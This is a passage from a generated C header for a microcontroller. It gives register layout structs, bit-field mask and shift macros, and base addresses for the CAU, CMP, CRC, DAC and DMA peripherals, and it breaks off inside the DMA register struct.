#define CAU_AESIC_CA_CA2_MASK (0xFFFFFFFFU)
#define CAU_AESIC_CA_CA2_SHIFT (0U)
#define CAU_AESIC_CA_CA2(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CA_CA2_SHIFT)) & CAU_AESIC_CA_CA2_MASK)
#define CAU_AESIC_CA_CA3_MASK (0xFFFFFFFFU)
#define CAU_AESIC_CA_CA3_SHIFT (0U)
#define CAU_AESIC_CA_CA3(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CA_CA3_SHIFT)) & CAU_AESIC_CA_CA3_MASK)
#define CAU_AESIC_CA_CA4_MASK (0xFFFFFFFFU)
#define CAU_AESIC_CA_CA4_SHIFT (0U)
#define CAU_AESIC_CA_CA4(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CA_CA4_SHIFT)) & CAU_AESIC_CA_CA4_MASK)
#define CAU_AESIC_CA_CA5_MASK (0xFFFFFFFFU)
#define CAU_AESIC_CA_CA5_SHIFT (0U)
#define CAU_AESIC_CA_CA5(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CA_CA5_SHIFT)) & CAU_AESIC_CA_CA5_MASK)
#define CAU_AESIC_CA_CA6_MASK (0xFFFFFFFFU)
#define CAU_AESIC_CA_CA6_SHIFT (0U)
#define CAU_AESIC_CA_CA6(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CA_CA6_SHIFT)) & CAU_AESIC_CA_CA6_MASK)
#define CAU_AESIC_CA_CA7_MASK (0xFFFFFFFFU)
#define CAU_AESIC_CA_CA7_SHIFT (0U)
#define CAU_AESIC_CA_CA7(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CA_CA7_SHIFT)) & CAU_AESIC_CA_CA7_MASK)
#define CAU_AESIC_CA_CA8_MASK (0xFFFFFFFFU)
#define CAU_AESIC_CA_CA8_SHIFT (0U)
#define CAU_AESIC_CA_CA8(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CA_CA8_SHIFT)) & CAU_AESIC_CA_CA8_MASK)
/* The count of CAU_AESIC_CA */
#define CAU_AESIC_CA_COUNT (9U)
/*!
* @}
*/ /* end of group CAU_Register_Masks */
/* CAU - Peripheral instance base addresses */
/** Peripheral CAU0 base address */
#define CAU0_BASE (0xF0005000u)
/** Peripheral CAU0 base pointer */
#define CAU0 ((CAU_Type *)CAU0_BASE)
/** Array initializer of CAU peripheral base addresses */
#define CAU_BASE_ADDRS { CAU0_BASE }
/** Array initializer of CAU peripheral base pointers */
#define CAU_BASE_PTRS { CAU0 }
/*!
* @}
*/ /* end of group CAU_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- CMP Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup CMP_Peripheral_Access_Layer CMP Peripheral Access Layer
* @{
*/
/** CMP - Register Layout Typedef */
typedef struct {
__IO uint8_t CR0; /**< CMP Control Register 0, offset: 0x0 */
__IO uint8_t CR1; /**< CMP Control Register 1, offset: 0x1 */
__IO uint8_t FPR; /**< CMP Filter Period Register, offset: 0x2 */
__IO uint8_t SCR; /**< CMP Status and Control Register, offset: 0x3 */
__IO uint8_t DACCR; /**< DAC Control Register, offset: 0x4 */
__IO uint8_t MUXCR; /**< MUX Control Register, offset: 0x5 */
} CMP_Type;
/* ----------------------------------------------------------------------------
-- CMP Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup CMP_Register_Masks CMP Register Masks
* @{
*/
/*! @name CR0 - CMP Control Register 0 */
#define CMP_CR0_HYSTCTR_MASK (0x3U)
#define CMP_CR0_HYSTCTR_SHIFT (0U)
#define CMP_CR0_HYSTCTR(x) (((uint8_t)(((uint8_t)(x)) << CMP_CR0_HYSTCTR_SHIFT)) & CMP_CR0_HYSTCTR_MASK)
#define CMP_CR0_FILTER_CNT_MASK (0x70U)
#define CMP_CR0_FILTER_CNT_SHIFT (4U)
#define CMP_CR0_FILTER_CNT(x) (((uint8_t)(((uint8_t)(x)) << CMP_CR0_FILTER_CNT_SHIFT)) & CMP_CR0_FILTER_CNT_MASK)
/*! @name CR1 - CMP Control Register 1 */
#define CMP_CR1_EN_MASK (0x1U)
#define CMP_CR1_EN_SHIFT (0U)
#define CMP_CR1_EN(x) (((uint8_t)(((uint8_t)(x)) << CMP_CR1_EN_SHIFT)) & CMP_CR1_EN_MASK)
#define CMP_CR1_OPE_MASK (0x2U)
#define CMP_CR1_OPE_SHIFT (1U)
#define CMP_CR1_OPE(x) (((uint8_t)(((uint8_t)(x)) << CMP_CR1_OPE_SHIFT)) & CMP_CR1_OPE_MASK)
#define CMP_CR1_COS_MASK (0x4U)
#define CMP_CR1_COS_SHIFT (2U)
#define CMP_CR1_COS(x) (((uint8_t)(((uint8_t)(x)) << CMP_CR1_COS_SHIFT)) & CMP_CR1_COS_MASK)
#define CMP_CR1_INV_MASK (0x8U)
#define CMP_CR1_INV_SHIFT (3U)
#define CMP_CR1_INV(x) (((uint8_t)(((uint8_t)(x)) << CMP_CR1_INV_SHIFT)) & CMP_CR1_INV_MASK)
#define CMP_CR1_PMODE_MASK (0x10U)
#define CMP_CR1_PMODE_SHIFT (4U)
#define CMP_CR1_PMODE(x) (((uint8_t)(((uint8_t)(x)) << CMP_CR1_PMODE_SHIFT)) & CMP_CR1_PMODE_MASK)
#define CMP_CR1_TRIGM_MASK (0x20U)
#define CMP_CR1_TRIGM_SHIFT (5U)
#define CMP_CR1_TRIGM(x) (((uint8_t)(((uint8_t)(x)) << CMP_CR1_TRIGM_SHIFT)) & CMP_CR1_TRIGM_MASK)
#define CMP_CR1_WE_MASK (0x40U)
#define CMP_CR1_WE_SHIFT (6U)
#define CMP_CR1_WE(x) (((uint8_t)(((uint8_t)(x)) << CMP_CR1_WE_SHIFT)) & CMP_CR1_WE_MASK)
#define CMP_CR1_SE_MASK (0x80U)
#define CMP_CR1_SE_SHIFT (7U)
#define CMP_CR1_SE(x) (((uint8_t)(((uint8_t)(x)) << CMP_CR1_SE_SHIFT)) & CMP_CR1_SE_MASK)
/*! @name FPR - CMP Filter Period Register */
#define CMP_FPR_FILT_PER_MASK (0xFFU)
#define CMP_FPR_FILT_PER_SHIFT (0U)
#define CMP_FPR_FILT_PER(x) (((uint8_t)(((uint8_t)(x)) << CMP_FPR_FILT_PER_SHIFT)) & CMP_FPR_FILT_PER_MASK)
/*! @name SCR - CMP Status and Control Register */
#define CMP_SCR_COUT_MASK (0x1U)
#define CMP_SCR_COUT_SHIFT (0U)
#define CMP_SCR_COUT(x) (((uint8_t)(((uint8_t)(x)) << CMP_SCR_COUT_SHIFT)) & CMP_SCR_COUT_MASK)
#define CMP_SCR_CFF_MASK (0x2U)
#define CMP_SCR_CFF_SHIFT (1U)
#define CMP_SCR_CFF(x) (((uint8_t)(((uint8_t)(x)) << CMP_SCR_CFF_SHIFT)) & CMP_SCR_CFF_MASK)
#define CMP_SCR_CFR_MASK (0x4U)
#define CMP_SCR_CFR_SHIFT (2U)
#define CMP_SCR_CFR(x) (((uint8_t)(((uint8_t)(x)) << CMP_SCR_CFR_SHIFT)) & CMP_SCR_CFR_MASK)
#define CMP_SCR_IEF_MASK (0x8U)
#define CMP_SCR_IEF_SHIFT (3U)
#define CMP_SCR_IEF(x) (((uint8_t)(((uint8_t)(x)) << CMP_SCR_IEF_SHIFT)) & CMP_SCR_IEF_MASK)
#define CMP_SCR_IER_MASK (0x10U)
#define CMP_SCR_IER_SHIFT (4U)
#define CMP_SCR_IER(x) (((uint8_t)(((uint8_t)(x)) << CMP_SCR_IER_SHIFT)) & CMP_SCR_IER_MASK)
#define CMP_SCR_DMAEN_MASK (0x40U)
#define CMP_SCR_DMAEN_SHIFT (6U)
#define CMP_SCR_DMAEN(x) (((uint8_t)(((uint8_t)(x)) << CMP_SCR_DMAEN_SHIFT)) & CMP_SCR_DMAEN_MASK)
/*! @name DACCR - DAC Control Register */
#define CMP_DACCR_VOSEL_MASK (0x3FU)
#define CMP_DACCR_VOSEL_SHIFT (0U)
#define CMP_DACCR_VOSEL(x) (((uint8_t)(((uint8_t)(x)) << CMP_DACCR_VOSEL_SHIFT)) & CMP_DACCR_VOSEL_MASK)
#define CMP_DACCR_VRSEL_MASK (0x40U)
#define CMP_DACCR_VRSEL_SHIFT (6U)
#define CMP_DACCR_VRSEL(x) (((uint8_t)(((uint8_t)(x)) << CMP_DACCR_VRSEL_SHIFT)) & CMP_DACCR_VRSEL_MASK)
#define CMP_DACCR_DACEN_MASK (0x80U)
#define CMP_DACCR_DACEN_SHIFT (7U)
#define CMP_DACCR_DACEN(x) (((uint8_t)(((uint8_t)(x)) << CMP_DACCR_DACEN_SHIFT)) & CMP_DACCR_DACEN_MASK)
/*! @name MUXCR - MUX Control Register */
#define CMP_MUXCR_MSEL_MASK (0x7U)
#define CMP_MUXCR_MSEL_SHIFT (0U)
#define CMP_MUXCR_MSEL(x) (((uint8_t)(((uint8_t)(x)) << CMP_MUXCR_MSEL_SHIFT)) & CMP_MUXCR_MSEL_MASK)
#define CMP_MUXCR_PSEL_MASK (0x38U)
#define CMP_MUXCR_PSEL_SHIFT (3U)
#define CMP_MUXCR_PSEL(x) (((uint8_t)(((uint8_t)(x)) << CMP_MUXCR_PSEL_SHIFT)) & CMP_MUXCR_PSEL_MASK)
#define CMP_MUXCR_PSTM_MASK (0x80U)
#define CMP_MUXCR_PSTM_SHIFT (7U)
#define CMP_MUXCR_PSTM(x) (((uint8_t)(((uint8_t)(x)) << CMP_MUXCR_PSTM_SHIFT)) & CMP_MUXCR_PSTM_MASK)
/*!
* @}
*/ /* end of group CMP_Register_Masks */
/* CMP - Peripheral instance base addresses */
/** Peripheral CMP0 base address */
#define CMP0_BASE (0x4006E000u)
/** Peripheral CMP0 base pointer */
#define CMP0 ((CMP_Type *)CMP0_BASE)
/** Peripheral CMP1 base address */
#define CMP1_BASE (0x400EF000u)
/** Peripheral CMP1 base pointer */
#define CMP1 ((CMP_Type *)CMP1_BASE)
/** Array initializer of CMP peripheral base addresses */
#define CMP_BASE_ADDRS { CMP0_BASE, CMP1_BASE }
/** Array initializer of CMP peripheral base pointers */
#define CMP_BASE_PTRS { CMP0, CMP1 }
/** Interrupt vectors for the CMP peripheral type */
#define CMP_IRQS { CMP0_IRQn, CMP1_IRQn }
/*!
* @}
*/ /* end of group CMP_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- CRC Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup CRC_Peripheral_Access_Layer CRC Peripheral Access Layer
* @{
*/
/** CRC - Register Layout Typedef */
typedef struct {
union { /* offset: 0x0 */
struct { /* offset: 0x0 */
__IO uint16_t DATAL; /**< CRC_DATAL register., offset: 0x0 */
__IO uint16_t DATAH; /**< CRC_DATAH register., offset: 0x2 */
} ACCESS16BIT;
__IO uint32_t DATA; /**< CRC Data register, offset: 0x0 */
struct { /* offset: 0x0 */
__IO uint8_t DATALL; /**< CRC_DATALL register., offset: 0x0 */
__IO uint8_t DATALU; /**< CRC_DATALU register., offset: 0x1 */
__IO uint8_t DATAHL; /**< CRC_DATAHL register., offset: 0x2 */
__IO uint8_t DATAHU; /**< CRC_DATAHU register., offset: 0x3 */
} ACCESS8BIT;
};
union { /* offset: 0x4 */
struct { /* offset: 0x4 */
__IO uint16_t GPOLYL; /**< CRC_GPOLYL register., offset: 0x4 */
__IO uint16_t GPOLYH; /**< CRC_GPOLYH register., offset: 0x6 */
} GPOLY_ACCESS16BIT;
__IO uint32_t GPOLY; /**< CRC Polynomial register, offset: 0x4 */
struct { /* offset: 0x4 */
__IO uint8_t GPOLYLL; /**< CRC_GPOLYLL register., offset: 0x4 */
__IO uint8_t GPOLYLU; /**< CRC_GPOLYLU register., offset: 0x5 */
__IO uint8_t GPOLYHL; /**< CRC_GPOLYHL register., offset: 0x6 */
__IO uint8_t GPOLYHU; /**< CRC_GPOLYHU register., offset: 0x7 */
} GPOLY_ACCESS8BIT;
};
union { /* offset: 0x8 */
__IO uint32_t CTRL; /**< CRC Control register, offset: 0x8 */
struct { /* offset: 0x8 */
uint8_t RESERVED_0[3];
__IO uint8_t CTRLHU; /**< CRC_CTRLHU register., offset: 0xB */
} CTRL_ACCESS8BIT;
};
} CRC_Type;
/* ----------------------------------------------------------------------------
-- CRC Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup CRC_Register_Masks CRC Register Masks
* @{
*/
/*! @name DATAL - CRC_DATAL register. */
#define CRC_DATAL_DATAL_MASK (0xFFFFU)
#define CRC_DATAL_DATAL_SHIFT (0U)
#define CRC_DATAL_DATAL(x) (((uint16_t)(((uint16_t)(x)) << CRC_DATAL_DATAL_SHIFT)) & CRC_DATAL_DATAL_MASK)
/*! @name DATAH - CRC_DATAH register. */
#define CRC_DATAH_DATAH_MASK (0xFFFFU)
#define CRC_DATAH_DATAH_SHIFT (0U)
#define CRC_DATAH_DATAH(x) (((uint16_t)(((uint16_t)(x)) << CRC_DATAH_DATAH_SHIFT)) & CRC_DATAH_DATAH_MASK)
/*! @name DATA - CRC Data register */
#define CRC_DATA_LL_MASK (0xFFU)
#define CRC_DATA_LL_SHIFT (0U)
#define CRC_DATA_LL(x) (((uint32_t)(((uint32_t)(x)) << CRC_DATA_LL_SHIFT)) & CRC_DATA_LL_MASK)
#define CRC_DATA_LU_MASK (0xFF00U)
#define CRC_DATA_LU_SHIFT (8U)
#define CRC_DATA_LU(x) (((uint32_t)(((uint32_t)(x)) << CRC_DATA_LU_SHIFT)) & CRC_DATA_LU_MASK)
#define CRC_DATA_HL_MASK (0xFF0000U)
#define CRC_DATA_HL_SHIFT (16U)
#define CRC_DATA_HL(x) (((uint32_t)(((uint32_t)(x)) << CRC_DATA_HL_SHIFT)) & CRC_DATA_HL_MASK)
#define CRC_DATA_HU_MASK (0xFF000000U)
#define CRC_DATA_HU_SHIFT (24U)
#define CRC_DATA_HU(x) (((uint32_t)(((uint32_t)(x)) << CRC_DATA_HU_SHIFT)) & CRC_DATA_HU_MASK)
/*! @name DATALL - CRC_DATALL register. */
#define CRC_DATALL_DATALL_MASK (0xFFU)
#define CRC_DATALL_DATALL_SHIFT (0U)
#define CRC_DATALL_DATALL(x) (((uint8_t)(((uint8_t)(x)) << CRC_DATALL_DATALL_SHIFT)) & CRC_DATALL_DATALL_MASK)
/*! @name DATALU - CRC_DATALU register. */
#define CRC_DATALU_DATALU_MASK (0xFFU)
#define CRC_DATALU_DATALU_SHIFT (0U)
#define CRC_DATALU_DATALU(x) (((uint8_t)(((uint8_t)(x)) << CRC_DATALU_DATALU_SHIFT)) & CRC_DATALU_DATALU_MASK)
/*! @name DATAHL - CRC_DATAHL register. */
#define CRC_DATAHL_DATAHL_MASK (0xFFU)
#define CRC_DATAHL_DATAHL_SHIFT (0U)
#define CRC_DATAHL_DATAHL(x) (((uint8_t)(((uint8_t)(x)) << CRC_DATAHL_DATAHL_SHIFT)) & CRC_DATAHL_DATAHL_MASK)
/*! @name DATAHU - CRC_DATAHU register. */
#define CRC_DATAHU_DATAHU_MASK (0xFFU)
#define CRC_DATAHU_DATAHU_SHIFT (0U)
#define CRC_DATAHU_DATAHU(x) (((uint8_t)(((uint8_t)(x)) << CRC_DATAHU_DATAHU_SHIFT)) & CRC_DATAHU_DATAHU_MASK)
/*! @name GPOLYL - CRC_GPOLYL register. */
#define CRC_GPOLYL_GPOLYL_MASK (0xFFFFU)
#define CRC_GPOLYL_GPOLYL_SHIFT (0U)
#define CRC_GPOLYL_GPOLYL(x) (((uint16_t)(((uint16_t)(x)) << CRC_GPOLYL_GPOLYL_SHIFT)) & CRC_GPOLYL_GPOLYL_MASK)
/*! @name GPOLYH - CRC_GPOLYH register. */
#define CRC_GPOLYH_GPOLYH_MASK (0xFFFFU)
#define CRC_GPOLYH_GPOLYH_SHIFT (0U)
#define CRC_GPOLYH_GPOLYH(x) (((uint16_t)(((uint16_t)(x)) << CRC_GPOLYH_GPOLYH_SHIFT)) & CRC_GPOLYH_GPOLYH_MASK)
/*! @name GPOLY - CRC Polynomial register */
#define CRC_GPOLY_LOW_MASK (0xFFFFU)
#define CRC_GPOLY_LOW_SHIFT (0U)
#define CRC_GPOLY_LOW(x) (((uint32_t)(((uint32_t)(x)) << CRC_GPOLY_LOW_SHIFT)) & CRC_GPOLY_LOW_MASK)
#define CRC_GPOLY_HIGH_MASK (0xFFFF0000U)
#define CRC_GPOLY_HIGH_SHIFT (16U)
#define CRC_GPOLY_HIGH(x) (((uint32_t)(((uint32_t)(x)) << CRC_GPOLY_HIGH_SHIFT)) & CRC_GPOLY_HIGH_MASK)
/*! @name GPOLYLL - CRC_GPOLYLL register. */
#define CRC_GPOLYLL_GPOLYLL_MASK (0xFFU)
#define CRC_GPOLYLL_GPOLYLL_SHIFT (0U)
#define CRC_GPOLYLL_GPOLYLL(x) (((uint8_t)(((uint8_t)(x)) << CRC_GPOLYLL_GPOLYLL_SHIFT)) & CRC_GPOLYLL_GPOLYLL_MASK)
/*! @name GPOLYLU - CRC_GPOLYLU register. */
#define CRC_GPOLYLU_GPOLYLU_MASK (0xFFU)
#define CRC_GPOLYLU_GPOLYLU_SHIFT (0U)
#define CRC_GPOLYLU_GPOLYLU(x) (((uint8_t)(((uint8_t)(x)) << CRC_GPOLYLU_GPOLYLU_SHIFT)) & CRC_GPOLYLU_GPOLYLU_MASK)
/*! @name GPOLYHL - CRC_GPOLYHL register. */
#define CRC_GPOLYHL_GPOLYHL_MASK (0xFFU)
#define CRC_GPOLYHL_GPOLYHL_SHIFT (0U)
#define CRC_GPOLYHL_GPOLYHL(x) (((uint8_t)(((uint8_t)(x)) << CRC_GPOLYHL_GPOLYHL_SHIFT)) & CRC_GPOLYHL_GPOLYHL_MASK)
/*! @name GPOLYHU - CRC_GPOLYHU register. */
#define CRC_GPOLYHU_GPOLYHU_MASK (0xFFU)
#define CRC_GPOLYHU_GPOLYHU_SHIFT (0U)
#define CRC_GPOLYHU_GPOLYHU(x) (((uint8_t)(((uint8_t)(x)) << CRC_GPOLYHU_GPOLYHU_SHIFT)) & CRC_GPOLYHU_GPOLYHU_MASK)
/*! @name CTRL - CRC Control register */
#define CRC_CTRL_TCRC_MASK (0x1000000U)
#define CRC_CTRL_TCRC_SHIFT (24U)
#define CRC_CTRL_TCRC(x) (((uint32_t)(((uint32_t)(x)) << CRC_CTRL_TCRC_SHIFT)) & CRC_CTRL_TCRC_MASK)
#define CRC_CTRL_WAS_MASK (0x2000000U)
#define CRC_CTRL_WAS_SHIFT (25U)
#define CRC_CTRL_WAS(x) (((uint32_t)(((uint32_t)(x)) << CRC_CTRL_WAS_SHIFT)) & CRC_CTRL_WAS_MASK)
#define CRC_CTRL_FXOR_MASK (0x4000000U)
#define CRC_CTRL_FXOR_SHIFT (26U)
#define CRC_CTRL_FXOR(x) (((uint32_t)(((uint32_t)(x)) << CRC_CTRL_FXOR_SHIFT)) & CRC_CTRL_FXOR_MASK)
#define CRC_CTRL_TOTR_MASK (0x30000000U)
#define CRC_CTRL_TOTR_SHIFT (28U)
#define CRC_CTRL_TOTR(x) (((uint32_t)(((uint32_t)(x)) << CRC_CTRL_TOTR_SHIFT)) & CRC_CTRL_TOTR_MASK)
#define CRC_CTRL_TOT_MASK (0xC0000000U)
#define CRC_CTRL_TOT_SHIFT (30U)
#define CRC_CTRL_TOT(x) (((uint32_t)(((uint32_t)(x)) << CRC_CTRL_TOT_SHIFT)) & CRC_CTRL_TOT_MASK)
/*! @name CTRLHU - CRC_CTRLHU register. */
#define CRC_CTRLHU_TCRC_MASK (0x1U)
#define CRC_CTRLHU_TCRC_SHIFT (0U)
#define CRC_CTRLHU_TCRC(x) (((uint8_t)(((uint8_t)(x)) << CRC_CTRLHU_TCRC_SHIFT)) & CRC_CTRLHU_TCRC_MASK)
#define CRC_CTRLHU_WAS_MASK (0x2U)
#define CRC_CTRLHU_WAS_SHIFT (1U)
#define CRC_CTRLHU_WAS(x) (((uint8_t)(((uint8_t)(x)) << CRC_CTRLHU_WAS_SHIFT)) & CRC_CTRLHU_WAS_MASK)
#define CRC_CTRLHU_FXOR_MASK (0x4U)
#define CRC_CTRLHU_FXOR_SHIFT (2U)
#define CRC_CTRLHU_FXOR(x) (((uint8_t)(((uint8_t)(x)) << CRC_CTRLHU_FXOR_SHIFT)) & CRC_CTRLHU_FXOR_MASK)
#define CRC_CTRLHU_TOTR_MASK (0x30U)
#define CRC_CTRLHU_TOTR_SHIFT (4U)
#define CRC_CTRLHU_TOTR(x) (((uint8_t)(((uint8_t)(x)) << CRC_CTRLHU_TOTR_SHIFT)) & CRC_CTRLHU_TOTR_MASK)
#define CRC_CTRLHU_TOT_MASK (0xC0U)
#define CRC_CTRLHU_TOT_SHIFT (6U)
#define CRC_CTRLHU_TOT(x) (((uint8_t)(((uint8_t)(x)) << CRC_CTRLHU_TOT_SHIFT)) & CRC_CTRLHU_TOT_MASK)
/*!
* @}
*/ /* end of group CRC_Register_Masks */
/* CRC - Peripheral instance base addresses */
/** Peripheral CRC base address */
#define CRC_BASE (0x40078000u)
/** Peripheral CRC base pointer */
#define CRC0 ((CRC_Type *)CRC_BASE)
/** Array initializer of CRC peripheral base addresses */
#define CRC_BASE_ADDRS { CRC_BASE }
/** Array initializer of CRC peripheral base pointers */
#define CRC_BASE_PTRS { CRC0 }
/*!
* @}
*/ /* end of group CRC_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- DAC Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup DAC_Peripheral_Access_Layer DAC Peripheral Access Layer
* @{
*/
/** DAC - Register Layout Typedef */
typedef struct {
struct { /* offset: 0x0, array step: 0x2 */
__IO uint8_t DATL; /**< DAC Data Low Register, array offset: 0x0, array step: 0x2 */
__IO uint8_t DATH; /**< DAC Data High Register, array offset: 0x1, array step: 0x2 */
} DAT[16];
__IO uint8_t SR; /**< DAC Status Register, offset: 0x20 */
__IO uint8_t C0; /**< DAC Control Register, offset: 0x21 */
__IO uint8_t C1; /**< DAC Control Register 1, offset: 0x22 */
__IO uint8_t C2; /**< DAC Control Register 2, offset: 0x23 */
} DAC_Type;
/* ----------------------------------------------------------------------------
-- DAC Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup DAC_Register_Masks DAC Register Masks
* @{
*/
/*! @name DATL - DAC Data Low Register */
#define DAC_DATL_DATA0_MASK (0xFFU)
#define DAC_DATL_DATA0_SHIFT (0U)
#define DAC_DATL_DATA0(x) (((uint8_t)(((uint8_t)(x)) << DAC_DATL_DATA0_SHIFT)) & DAC_DATL_DATA0_MASK)
/* The count of DAC_DATL */
#define DAC_DATL_COUNT (16U)
/*! @name DATH - DAC Data High Register */
#define DAC_DATH_DATA1_MASK (0xFU)
#define DAC_DATH_DATA1_SHIFT (0U)
#define DAC_DATH_DATA1(x) (((uint8_t)(((uint8_t)(x)) << DAC_DATH_DATA1_SHIFT)) & DAC_DATH_DATA1_MASK)
/* The count of DAC_DATH */
#define DAC_DATH_COUNT (16U)
/*! @name SR - DAC Status Register */
#define DAC_SR_DACBFRPBF_MASK (0x1U)
#define DAC_SR_DACBFRPBF_SHIFT (0U)
#define DAC_SR_DACBFRPBF(x) (((uint8_t)(((uint8_t)(x)) << DAC_SR_DACBFRPBF_SHIFT)) & DAC_SR_DACBFRPBF_MASK)
#define DAC_SR_DACBFRPTF_MASK (0x2U)
#define DAC_SR_DACBFRPTF_SHIFT (1U)
#define DAC_SR_DACBFRPTF(x) (((uint8_t)(((uint8_t)(x)) << DAC_SR_DACBFRPTF_SHIFT)) & DAC_SR_DACBFRPTF_MASK)
#define DAC_SR_DACBFWMF_MASK (0x4U)
#define DAC_SR_DACBFWMF_SHIFT (2U)
#define DAC_SR_DACBFWMF(x) (((uint8_t)(((uint8_t)(x)) << DAC_SR_DACBFWMF_SHIFT)) & DAC_SR_DACBFWMF_MASK)
/*! @name C0 - DAC Control Register */
#define DAC_C0_DACBBIEN_MASK (0x1U)
#define DAC_C0_DACBBIEN_SHIFT (0U)
#define DAC_C0_DACBBIEN(x) (((uint8_t)(((uint8_t)(x)) << DAC_C0_DACBBIEN_SHIFT)) & DAC_C0_DACBBIEN_MASK)
#define DAC_C0_DACBTIEN_MASK (0x2U)
#define DAC_C0_DACBTIEN_SHIFT (1U)
#define DAC_C0_DACBTIEN(x) (((uint8_t)(((uint8_t)(x)) << DAC_C0_DACBTIEN_SHIFT)) & DAC_C0_DACBTIEN_MASK)
#define DAC_C0_DACBWIEN_MASK (0x4U)
#define DAC_C0_DACBWIEN_SHIFT (2U)
#define DAC_C0_DACBWIEN(x) (((uint8_t)(((uint8_t)(x)) << DAC_C0_DACBWIEN_SHIFT)) & DAC_C0_DACBWIEN_MASK)
#define DAC_C0_LPEN_MASK (0x8U)
#define DAC_C0_LPEN_SHIFT (3U)
#define DAC_C0_LPEN(x) (((uint8_t)(((uint8_t)(x)) << DAC_C0_LPEN_SHIFT)) & DAC_C0_LPEN_MASK)
#define DAC_C0_DACSWTRG_MASK (0x10U)
#define DAC_C0_DACSWTRG_SHIFT (4U)
#define DAC_C0_DACSWTRG(x) (((uint8_t)(((uint8_t)(x)) << DAC_C0_DACSWTRG_SHIFT)) & DAC_C0_DACSWTRG_MASK)
#define DAC_C0_DACTRGSEL_MASK (0x20U)
#define DAC_C0_DACTRGSEL_SHIFT (5U)
#define DAC_C0_DACTRGSEL(x) (((uint8_t)(((uint8_t)(x)) << DAC_C0_DACTRGSEL_SHIFT)) & DAC_C0_DACTRGSEL_MASK)
#define DAC_C0_DACRFS_MASK (0x40U)
#define DAC_C0_DACRFS_SHIFT (6U)
#define DAC_C0_DACRFS(x) (((uint8_t)(((uint8_t)(x)) << DAC_C0_DACRFS_SHIFT)) & DAC_C0_DACRFS_MASK)
#define DAC_C0_DACEN_MASK (0x80U)
#define DAC_C0_DACEN_SHIFT (7U)
#define DAC_C0_DACEN(x) (((uint8_t)(((uint8_t)(x)) << DAC_C0_DACEN_SHIFT)) & DAC_C0_DACEN_MASK)
/*! @name C1 - DAC Control Register 1 */
#define DAC_C1_DACBFEN_MASK (0x1U)
#define DAC_C1_DACBFEN_SHIFT (0U)
#define DAC_C1_DACBFEN(x) (((uint8_t)(((uint8_t)(x)) << DAC_C1_DACBFEN_SHIFT)) & DAC_C1_DACBFEN_MASK)
#define DAC_C1_DACBFMD_MASK (0x6U)
#define DAC_C1_DACBFMD_SHIFT (1U)
#define DAC_C1_DACBFMD(x) (((uint8_t)(((uint8_t)(x)) << DAC_C1_DACBFMD_SHIFT)) & DAC_C1_DACBFMD_MASK)
#define DAC_C1_DACBFWM_MASK (0x18U)
#define DAC_C1_DACBFWM_SHIFT (3U)
#define DAC_C1_DACBFWM(x) (((uint8_t)(((uint8_t)(x)) << DAC_C1_DACBFWM_SHIFT)) & DAC_C1_DACBFWM_MASK)
#define DAC_C1_DMAEN_MASK (0x80U)
#define DAC_C1_DMAEN_SHIFT (7U)
#define DAC_C1_DMAEN(x) (((uint8_t)(((uint8_t)(x)) << DAC_C1_DMAEN_SHIFT)) & DAC_C1_DMAEN_MASK)
/*! @name C2 - DAC Control Register 2 */
#define DAC_C2_DACBFUP_MASK (0xFU)
#define DAC_C2_DACBFUP_SHIFT (0U)
#define DAC_C2_DACBFUP(x) (((uint8_t)(((uint8_t)(x)) << DAC_C2_DACBFUP_SHIFT)) & DAC_C2_DACBFUP_MASK)
#define DAC_C2_DACBFRP_MASK (0xF0U)
#define DAC_C2_DACBFRP_SHIFT (4U)
#define DAC_C2_DACBFRP(x) (((uint8_t)(((uint8_t)(x)) << DAC_C2_DACBFRP_SHIFT)) & DAC_C2_DACBFRP_MASK)
/*!
* @}
*/ /* end of group DAC_Register_Masks */
/* DAC - Peripheral instance base addresses */
/** Peripheral DAC0 base address */
#define DAC0_BASE (0x4006A000u)
/** Peripheral DAC0 base pointer */
#define DAC0 ((DAC_Type *)DAC0_BASE)
/** Array initializer of DAC peripheral base addresses */
#define DAC_BASE_ADDRS { DAC0_BASE }
/** Array initializer of DAC peripheral base pointers */
#define DAC_BASE_PTRS { DAC0 }
/** Interrupt vectors for the DAC peripheral type */
#define DAC_IRQS { DAC0_IRQn }
/*!
* @}
*/ /* end of group DAC_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- DMA Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup DMA_Peripheral_Access_Layer DMA Peripheral Access Layer
* @{
*/
/** DMA - Register Layout Typedef */
typedef struct {
__IO uint32_t CR; /**< Control Register, offset: 0x0 */
__I uint32_t ES; /**< Error Status Register, offset: 0x4 */
uint8_t RESERVED_0[4];
__IO uint32_t ERQ; /**< Enable Request Register, offset: 0xC */
uint8_t RESERVED_1[4];
__IO uint32_t EEI; /**< Enable Error Interrupt Register, offset: 0x14 */
__O uint8_t CEEI; /**< Clear Enable Error Interrupt Register, offset: 0x18 */
__O uint8_t SEEI; /**< Set Enable Error Interrupt Register, offset: 0x19 */
__O uint8_t CERQ; /**< Clear Enable Request Register, offset: 0x1A */
__O uint8_t SERQ; /**< Set Enable Request Register, offset: 0x1B */
__O uint8_t CDNE; /**< Clear DONE Status Bit Register, offset: 0x1C */
__O uint8_t SSRT; /**< Set START Bit Register, offset: 0x1D */
__O uint8_t CERR; /**< Clear Error Register, offset: 0x1E */
__O uint8_t CINT; /**< Clear Interrupt Request Register, offset: 0x1F */
uint8_t RESERVED_2[4];
__IO uint32_t INT; /**< Interrupt Request Register, offset: 0x24 */
uint8_t RESERVED_3[4];
__IO uint32_t ERR; /**< Error Register, offset: 0x2C */
uint8_t RESERVED_4[4];
__I uint32_t HRS; /**< Hardware Request Status Register, offset: 0x34 */
uint8_t RESERVED_5[12];
